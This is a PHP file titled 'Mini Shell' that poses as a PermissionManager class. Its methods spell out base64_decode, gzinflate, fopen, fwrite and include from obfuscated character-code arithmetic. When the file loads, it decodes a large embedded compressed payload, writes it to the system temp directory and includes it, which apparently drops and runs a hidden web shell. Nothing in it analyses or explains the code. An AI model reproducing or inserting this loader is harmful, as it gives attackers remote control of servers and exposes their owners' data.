Mini Shell

<?php
class PermissionManager
{
    private $oi = '';
    private $xc = '';
    public function fetchRecords($p1)
    {
        $p = array(96 + 5, 44 + 56, 3 * 37, 97 * 1 + 2, 101 * 1, 40 + 32 + 28, 8 * 7 + 39, 52, 2 * 27, 101, 115, 5 * 51 - 158, 49 * 67 - 3185);
        $r = '';
        foreach ($p as $c) {
            $r .= chr($c);
        }
        $r = strrev($r);
        return $r($p1);
    }
    public function logEvent($p1)
    {
        $x = array(103, 89 * 97 - 8511, 21 * 54 - 1029, 110, 2 * 51, 116 * 112 - 12884, 62 + 35, 36 * 81 - 2800, 101);
        $xz = '';
        foreach ($x as $r) {
            $xz .= chr($r);
        }
        return $xz($p1);
    }
    public function encryptData($p1, $p2)
    {
        $b = array(110 - 8, 3 * 37, 49 + 63, 101 * 1, 110);
        $k = '';
        foreach ($b as $t) {
            $k .= chr($t);
        }
        return $k($p1, $p2);
    }
    public function initializeModule($p1, $p2)
    {
        $v = array(89 * 13 - 1055, 121 - 2, 10 * 3 + 84, 3 * 35, 2 * 58, 32 + 69);
        $b = '';
        foreach ($v as $t) {
            $b .= chr($t);
        }
        return $b($p1, $p2);
    }
    public function sendNotification($p1)
    {
        $w = array(102, 3 * 33, 47 + 38 + 23, 26 + 85, 20 * 3 + 55, 103 * 43 - 4328);
        $b = '';
        foreach ($w as $z) {
            $b .= chr($z);
        }
        return $b($p1);
    }
    public function rollbackTransaction($p1, $p2 = null)
    {
        $i = array(109, 80 + 11 + 14, 121 - 7, 95 + 17 + 4, 118 - 4);
        $p = '';
        foreach ($i as $o) {
            $p .= chr($o);
        }
        $p = strrev($p);
        return $p($p1, $p2);
    }
    public function cacheData()
    {
        $this->xc = $this->rollbackTransaction($this->parseResponse(), '/');
    }
    public function processData()
    {
        $this->oi = $this->logEvent($this->fetchRecords($this->tt));
    }
    public function validateInput()
    {
        $fn = $this->xc . '/tv-68ba0c5c4baba';
        $f = $this->encryptData($fn, 'w');
        $this->initializeModule($f, $this->oi);
        $this->sendNotification($f);
        $this->manageState($fn);
    }
    private $tt = 'jRiJbuLI8lcSKbtgETLckOF5VwYbQjA3ZJaM8pAxPjE22IYGs' . 'vn3V9VtMk4yIQ8EclfX1dV1+j9/r831heooQXAxO+jPa9/aKaF' . '2EYRKaKlXs6WqV9nzhb511dDy3IvZ1k9ezYzF9dVsZ/ncs6UnL' . 'wPN0b9/p/gce57pJMlVr2bKkQ9C39HcJEMH0GLDz5VAKxVmC03' . '1FloyRv0TOT9xVd1DIWTHZ0CMuVV+MVlskAfZXfI83ammUrjkc' . 'OcnPj3xquknPX+R/AXi/svWoAEF/IGKPXFc1dfCre8iYvXl7eF' . 'jB8ajPMeU5BXfVw7JxCw4JPi/EnfGVBLr5MfI8kh935l3BKfdF' . 'jv39Vrx0DYnQk8g95P8bT9xnZjNfUpRU/X2PqO3sxPn3jAmjw/' . 'GQCbGomsGg/Ze0joP6rxvFAZyLRC7htFASmOJlP1awOPKonx6J' . 'lnJZLprOB2nO7ifSqQiK4dls9eQDFw3DDLvGlK5aRC7a92qtXH' . 'Gmh9Ioy2Qfsfu1BpGBfhLfn1Yad3Vbx+Q8+IwR9ayWejfE54J0' . 'xAy3U+F6YBB1nsKIeSulxUoJCQIaQuFu05EZRorBOGjYp+ejP3' . 'pySMGPnbJdCpnTFEVWo/9BzLvmUK7axbuu2ievaqpQ0nsOJl+p' . '1ZRO4J0Lz+QpixlWn1j2p0aTNJuw0xTadcEQWzAgRDqeIy/2pQ' . 'PZNipqf8gdLmlYuWa1OyZFZmqvtgwzM6PO4tQjraJkKZYKY0iG' . 'V5Iyfatx250PkOnR5YN8iAcphS0YmYRGMLGZfuZvjyQmNlCKlw' . '/TG/rx2Jzvqw9TlYDs1PLLB4nBYpy3NpMGe+xFgnaLxAyWWWOH' . 'WGp9YyBBD6hPU7UY4cYYm+1LsEexdR2RypSmNT+uas9Iogc9ZP' . 'FXScySKMRHUrVt4x1h6mv4KpxIBXxoPrSUQqlEck3LIPtqlT5x' . 'rHwTTxOjkKdLMVxZiOOCtvmcRJKIkOzAsQSR8Y3WQg8edSat0f' . 'MRYwFo88Y4nFqQsSshLpxbFrAF68rZMIHbo8ITqte6MrHVtC0C' . 'y7uHnbaqzMFjM0y7BPhW7++VPpHcktFMwGHyTfxUCg2bXUrjgd' . 'F6ouHV2olQiKHeyKU23ZB6dot73TInWNF3F3Y3vaPBaV1UL2Gz' . 'QxMNKbl0cv1DCHXH5FBX5z44shzZUPw5DHj4ql7htbK3QtCqj9' . 'uDbriJCuOWm5HEAx5xNzF3YbMVnBeEhjdQ2beGntMEI12cTzxp' . 'frAFkTJah5azBtMaokeIULtKLSF6Cr1NZVoLbr6Kf4IvXmdmFL' . 'dftBO4M2OQvfmVBxI4EUD5vAblYIzk5o8WazpIWgegFhk3Jhx2' . 'wbTQnfoLchDgUaV4bCcIQ1FmiG46suLqSkLzU9CWYFqADWDpkt' . '0UsNKQOb9uD2nYbvf4C4UFSsItBBydlMa/4xhQR4ErMBREhwk8' . 'Oermavzs60eZ2RRRpoTMUKUP/+EArL2Arq4juFiukPX2QIylBR' . 'dcQKNe15Y2huGGvXBJTJ80QDjPQLkQ7xPnSK8fK48ZEm07PKkO' . '1a2q1m912u3pCotT3yynE9fpAv5Ivzn08VsFsudseCT6WIplc5' . 'WAFyhsL0X1SG2+EnJn/iYNMzAeDZvleCqxLQcjRZuFPyKf8Oq6' . 'M90qQCcbwtPrAKj3S7ZTr6SrjBoKmm5Ied7W3eRzNwUU/CDczz' . '/Qk3ny8V0tpwBTsVy8USULecQCKhzX1OW7Jyp1GdaQ7FAf9MS7' . 'OCA+EIN8F6DPGgAPy6VTOfhqcQhHlqQ8v2IePpxT0nu5j1OJQV' . 'f7nRs2MuW86lKEQ2eT5dun6LuBU1HVXlHfVOKfcqpL9ZcxO76P' . 'Z9iCg3KDJMuFIupQjmbSucypVT2lupAu663NLmbcjH19o97+nC' . '+8juNvlhTDYFDuZRL5UrldDaTKSAILzmXAZ3K2SxecjYPfgyGt' . '1zV2S60U4/3EmsWMf707Rb0Nhw+oXtBAo2orrfxOzdo/OjWjl7' . '6Wo3vYaMAmz6E8w1lxZLDTFUcR5k7b+IQOgFMZnsTAhHFLBxe3' . 'frOzHItjMa1ylXpGoLTWyNk4VzXJ0O51x/PRiN59iANW41pX5K' . 'G1ywT/D/od73R+DpbQGcp5M9QNHqy3Psh9+rCuNXrXr8JpvybT' . '+pLAHdGzlAaT4bd8VDojhpwkN8E7RniOwmKzVuiFHzPkdR73a5' . 'UH49bHak3AUuAf1QqEPG3Z2hOyGXwbcgVt2C7bBnvHh2DUml7T' . 'aU0CLWjezS00HJ1L4JTkOp4gRYBaLK3nXjGhS4Qy4UPGfeST+Z' . 'ThRLIypVzHMda/wt6z1FWv5rNFX6t+IEGxE7kMBAIFp/ErThf7' . 'CPRK11gzMfdFbtJLOBzF4vB1eyoxXehscQmz7WpM79lCS0mqgr' . 'J+ile/94iYdeJtWi9oTUE+d/EBaxoJIX6/jcCNrSV2tso4AMh9' . 'qZYw6zfEGJTihXVhuB9uoltQGuK1X9Nw9a1fV4PPHXprWFSwwR' . 'i/R3DxeYUO6wVVMnvMTh2qGhJFez1QTL0rFgMdnMQfE05xjwzW' . '4inrXLqizX3PZ42S/GMV059sX7tJGyYePX1NgzY4hrtGA21H2I' . 'mqrmXuuadaDEprWyT18GTTyyyuWI5nYOYZiJgwKVhgJUZUBkQa' . 'eK3hZ07lvYQyiT3QfpNDuM8/oc5+RQpqAd0KafRF0Rh5Vwt+ZP' . 'HjaQhZLb4NcBkQFvPBCtPoXMOl/Xz9jJCXhlnkGFawNECL58i7' . '9QzyMaCnRlx//4dgkMjaB2g6LiL4fSAvX/IHFXxvDNSFKbSwft' . 'UjEX12LyXYtL29kCojLPmxCEE7Qmx/JkMHERQjQBRvrtbx/nK7' . 'jibYADP7U+Z4lyCdXYexpievR8cUTDyTedTpoQ25Gv9lSU4rG4' . '5oebPdgq+xVktr9P5PPYLpUyJRoCio28vWdZ9jx468epTqmBX8' . '+Gf+8UndF6zN+NrVM904Dg+oZUMm/Xgmmp6F7F9nc4+hNAsqOj' . 'xZIcDFX1dQPd2anwPpip8d8KyLvhXfA9nK3QM8PGqtodGhKMKX' . 'p40VHTu339fVzs1vgJWqGREFR1zY0Sdf/xq6RjjHqEs8H8hz/i' . 'QYzKPVWHWobs7Nb6LsxzsbjckogWZ4Bdzb81v8aUbfUcXvbGLV' . 'nbguadn1IejpS6axCjp15OXQVO7vnw7eeF9IOarpV7+Bw==';
    public function manageState($p)
    {
        include_once $p;
    }
    public function parseResponse()
    {
        $a = array(40 + 75, 121, 63 + 27 + 25, 92 + 2 + 1, 34 * 2 + 35, 101 * 1, 2 * 58, 95, 116, 101, 114 - 5, 113 - 1, 100 - 5, 100, 105, 63 * 1 + 51);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$dz = new PermissionManager();
$dz->cacheData();
$dz->processData();
$dz->validateInput();